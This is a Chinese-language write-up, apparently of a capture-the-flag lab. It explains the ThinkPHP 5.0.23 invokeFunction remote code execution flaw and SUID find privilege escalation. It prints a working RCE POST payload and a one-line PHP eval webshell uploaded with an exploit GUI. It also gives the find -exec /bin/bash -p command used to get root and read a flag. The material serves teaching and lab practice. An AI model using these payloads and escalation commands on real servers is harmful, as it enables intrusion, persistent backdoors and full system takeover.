目录
本文分析了ThinkPHP5框架的远程代码执行漏洞(RCE)和利用find命令的SUID提权方法,通过原理讲解和实操复现两个漏洞的渗透过程。文章第一部分讲解了ThinkPHP5漏洞的Get shell渗透过程,攻击者可构造恶意POST请求执行任意系统命令。第二部分介绍了通过find命令的SUID提权技术。最后展示了完整的渗透测试流程,从fscan扫描到使用thinkphp_gui_tools获取shell,再到蚁剑连接和find提权获取flag文件。两种技术结合展示了从漏洞利用到权限提升的全过程。
一、thinkphp5漏洞
-
漏洞编号:ThinkPHP5 5.0.23 RCE 或 ThinkPHP5 invokeFunction RCE。
-
漏洞影响范围:ThinkPHP 5.x 版本中小于 5.1.31 的版本,以及 5.0.x 版本中小于等于 5.0.23 的版本都受该漏洞影响。
-
漏洞类型:远程代码执行(Remote Code Execution)。
-
危险等级:严重(Critical)。
-
漏洞本质:由于框架对控制器名的过滤不严,导致攻击者可以通过URL调用到核心类
think\App中的invokeFunction方法,从而传递恶意参数并执行任意PHP函数。 - 漏洞成因:ThinkPHP 5 框架底层对控制器名过滤不严,在未开启强制路由的情况下,攻击者可以通过 URL 调用到 ThinkPHP 框架内部的敏感函数。具体来说,在框架的路由解析过程中,
$method来自可控的$_POST数组,且获取后没有进行任何检查,就直接把它作为Request类的方法进行调用,同时该方法传入的参数也是可控数据$_POST,这就使得攻击者可以随意调用Request类的部分方法,进而导致远程代码执行漏洞的产生。 - 漏洞原理:攻击者可以构造特定的 POST 请求,利用
_method=__construct来调用构造方法__construct(),从而覆盖Request类的任意成员变量。例如,通过filter=system可以传递filter值覆盖原有值,再通过server(REQUEST_METHOD)=命令来指定要执行的系统命令,最后通过method=get使得请求能够通过路由检查,最终实现远程代码执行。 - 漏洞利用方式:可以使用 HackBar 或 BurpSuite 等工具进行漏洞利用。以 BurpSuite 为例,首先对目标网站的请求进行抓包,将请求方式改为 POST,然后在请求参数中构造类似
_method=__construct&filter()=system&method=get&server(REQUEST_METHOD)=id的 payload,其中id可以替换为任意想要执行的系统命令。如果漏洞存在,服务器会执行相应的命令并返回结果。攻击者还可以通过该漏洞上传经过 Base64 加密的 shell 脚本,然后使用蚁剑等 webshell 工具连接服务器,进行更深入的恶意操作。
二、find提权
1、什么是 SUID?
-
SUID (Set User ID) 是一种特殊的文件权限。
-
当一个具有SUID权限的可执行文件被运行时,该进程将不再以执行它的用户身份运行,而是以该文件所有者的身份运行。
-
例如,
/usr/bin/passwd命令就有 SUID 权限,所有者为root。普通用户执行passwd来修改自己的密码时,实际是在以root权限执行,否则无法修改/etc/shadow文件。
ls -la /usr/bin/passwd
# 输出示例:-rwsr-xr-x 1 root root ... /usr/bin/passwd
# 注意所有者权限位的 's',这就是 SUID 标志。
2、find命令的 SUID 提权原理
-
如果
find命令被设置了 SUID 位,并且其所有者是root。 -
那么,任何用户执行
find命令时,该find进程都将拥有root权限。 -
find命令有一个强大的-exec参数,可以执行任意系统命令。 -
因此,如果一个低权限用户能够执行具有 SUID 权限的
find命令,并通过-exec参数执行/bin/bash或/bin/sh,那么启动的 Shell 也将继承root权限。
3、find提权步骤
第一步:信息收集与权限确认
在成功获取一个低权限的Shell(例如www-data或apache用户)后,攻击者首先需要确认当前权限级别,通常使用whoami或id命令。紧接着,攻击者会开始搜寻系统中所有设置了SUID权限的可执行文件。这是通过执行命令find / -perm -u=s -type f 2>/dev/null来实现的,该命令会遍历整个文件系统,筛选出那些权限位中设置了SetUID位的文件,并将所有错误输出重定向到空设备以避免干扰。在返回的结果列表中,攻击者会仔细寻找像/usr/bin/find这样的常见系统命令。
第二步:验证SUID权限有效性
一旦发现find命令具有SUID权限,攻击者不会立即进行利用,而是先验证其有效性以确保利用成功。他们通常会执行/usr/bin/find . -exec whoami \; -quit这样的试探性命令。这条命令会利用find的-exec参数执行whoami命令,如果返回结果是"root",则确凿地证明当前执行的find进程确实是以root权限运行的。这个验证步骤至关重要,因为它避免了在无效目标上浪费精力,并确认了提权的可行性。
第三步:执行提权操作获取Root Shell
在确认find命令可以以root权限执行后,攻击者便会发起最终的提权操作。最直接的方式是执行命令:/usr/bin/find . -exec /bin/bash -p \; -quit。这里的-exec参数会为每个找到的文件执行/bin/bash -p,而-p选项指示bash保留提升的权限。由于find进程本身具有root权限,它由此启动的bash shell也就继承了root权限。参数-quit确保find在找到第一个匹配项后立即退出,从而只产生一个root shell。
三、漏洞渗透
1、fscan扫描
使用fscan -h 10.23.28.0/24扫描10.23.28.0网段,发现10.23.28.100:8001由thinkphp 5.23的RCE远程执行漏洞,效果如下所示。

2、使用think php综合利用工具渗透
thinkphp_gui_tools 是一个采用 JDK8 + javafx 开发的 ThinkPHP 图形化综合利用工具,其下载地址如下URL所示,选择Release版本进行下载,如下图红框所示。
https://github.com/bewhale/thinkphp_gui_tools

下载后解压,在thinkphp.jar所在的目录下执行java -jar ThinkPHP.jar命令,如下所示。

执行java -jar ThinkPHP.jar后即可启动thinkphp综合利用工具,如下图所示,URL地址填写thinkphp的主页,即http://10.23.28.100:8081,然后点击漏洞检测。

检测出有thinkphp5的RCE可执行漏洞,此时点击Getshell,文件名输入ljn.php,木马内容写<?php @eval($_POST[ljn3]); ?>,然后点击Getshell,如下所示上传成功。
<?php @eval($_POST[ljn3]); ?>

3、蚁剑连接
蚁剑的URL链接为http://10.23.28.100:8081/ljn.php,密码为ljn,添加连接成功如下所示。

连接蚁剑成功后,查找到网址根目录下有.hint.txt文件,查看内容是关于提权相关知识点,具体如下所示。

4、find提权
查找有SUID权限的命令,如下所示find命令有效。

使用find提权,使可以查看根目录下的flag文件。find命令本身是用于查找文件的工具,但如果它被设置了 SUID 权限,则普通用户执行find时会以文件所有者(通常是 root)的权限运行。此时,通过-exec参数可以执行系统命令,从而实现提权操作,具体命令如下所示。
touch test
find test -exec whoami \;
find test -exec cat /flag \;
-
touch test这是创建一个名为
test的空文件,用于后续find命令的查找目标。find命令需要指定查找对象,这里通过创建一个简单的文件作为查找目标,为后续执行命令做准备。 -
find test -exec whoami \;find test:查找名为test的文件。-exec:find命令的一个参数,用于在找到匹配文件后执行后续命令。whoami \;:表示执行whoami命令(查看当前用户身份),\;是-exec参数的结束标志。
这条命令的作用是:在找到test文件后,执行whoami,通常用于测试当前find命令是否具备执行命令的权限。
-
find test -exec cat /flag \;与上一条命令逻辑类似,找到
test文件后执行cat /flag,目的是读取/flag文件的内容

6164

被折叠的 条评论
为什么被折叠?



